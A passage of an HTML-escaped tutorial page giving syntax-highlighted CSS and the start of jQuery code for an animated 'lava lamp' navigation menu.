style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #00aa00"&gt;{&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;text-decoration&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #993333"&gt;none&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;color&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #cc00cc"&gt;#333&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #00aa00"&gt;}&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #cc00cc"&gt;#lava&lt;/span&gt; &lt;span style="color: #00aa00"&gt;{&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;position&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #993333"&gt;relative&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;text-align&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #993333"&gt;center&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;width&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #933"&gt;583px&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;height&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #933"&gt;40px&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #00aa00"&gt;}&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #cc00cc"&gt;#lava&lt;/span&gt; ul &lt;span style="color: #00aa00"&gt;{&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;margin&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #cc66cc"&gt;0&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;padding&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #cc66cc"&gt;0&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;list-style&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #993333"&gt;none&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;display&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #993333"&gt;inline&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;left&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #933"&gt;110px&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;top&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #cc66cc"&gt;0&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;z-index&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #cc66cc"&gt;100&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #00aa00"&gt;}&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #cc00cc"&gt;#lava&lt;/span&gt; ul li &lt;span style="color: #00aa00"&gt;{&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;margin&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #cc66cc"&gt;0&lt;/span&gt; &lt;span style="color: #933"&gt;15px&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;float&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #000000; font-weight: bold"&gt;left&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #00aa00"&gt;}&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #cc00cc"&gt;#lava&lt;/span&gt; &lt;span style="color: #cc00cc"&gt;#box&lt;/span&gt; &lt;span style="color: #00aa00"&gt;{&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;position&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #993333"&gt;absolute&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;left&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #cc66cc"&gt;0&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;top&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #cc66cc"&gt;0&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;z-index&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #cc66cc"&gt;50&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;background&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #cc00cc"&gt;#ccc&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;height&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #933"&gt;20px&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;padding-right&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #933"&gt;8px&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;margin-left&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #933"&gt;-10px&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #00aa00"&gt;}&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #cc00cc"&gt;#lava&lt;/span&gt; &lt;span style="color: #cc00cc"&gt;#box&lt;/span&gt; &lt;span style="color: #6666ff"&gt;.head&lt;/span&gt; &lt;span style="color: #00aa00"&gt;{&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;background&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #cc00cc"&gt;#eee&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;height&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #933"&gt;20px&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;padding-left&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #933"&gt;10px&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #00aa00"&gt;}&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;   &lt;/ol&gt;    &lt;div style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;Parsed in 0.019 seconds at 33.48 KB/s&lt;/div&gt; &lt;/div&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;strong&gt;3. Java Script&lt;/strong&gt;&lt;/p&gt;  &lt;div style="font-family: consolas,; font-size: small" class="javascript" #ffffff;?="#ffffff;?" background-color:="background-color:" monospace;="monospace;" courier,="courier," New?,="New?," Courier="Courier"&gt;   &lt;div style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;code program&lt;/div&gt;    &lt;ol&gt;     &lt;li&gt;       &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;document&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;ready&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold"&gt;function&lt;/span&gt; &lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt; &lt;span style="color: #009900"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//transitions&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//for more transition, goto http://gsgd.co.uk/sandbox/jquery/easing/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #003366; font-weight: bold"&gt;var&lt;/span&gt; style &lt;span style="color: #339933"&gt;=&lt;/span&gt; &lt;span style="color: #3366cc"&gt;'easeOutElastic'&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: #f4f4f4"&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="font-style: italic; color: #006600"&gt;//Retrieve the selected item position and width&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;      &lt;pre style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #003366; font-weight: bold"&gt;var&lt;/span&gt; default_left &lt;span style="color: #339933"&gt;=&lt;/span&gt; Math.&lt;span style="color: #660066"&gt;round&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;$&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#lava li.selected'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;offset&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;left&lt;/span&gt; &lt;span style="color: #339933"&gt;-&lt;/span&gt; $&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc"&gt;'#lava'&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;offset&lt;/span&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;.&lt;span style="color: #660066"&gt;left&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li style="background-color: 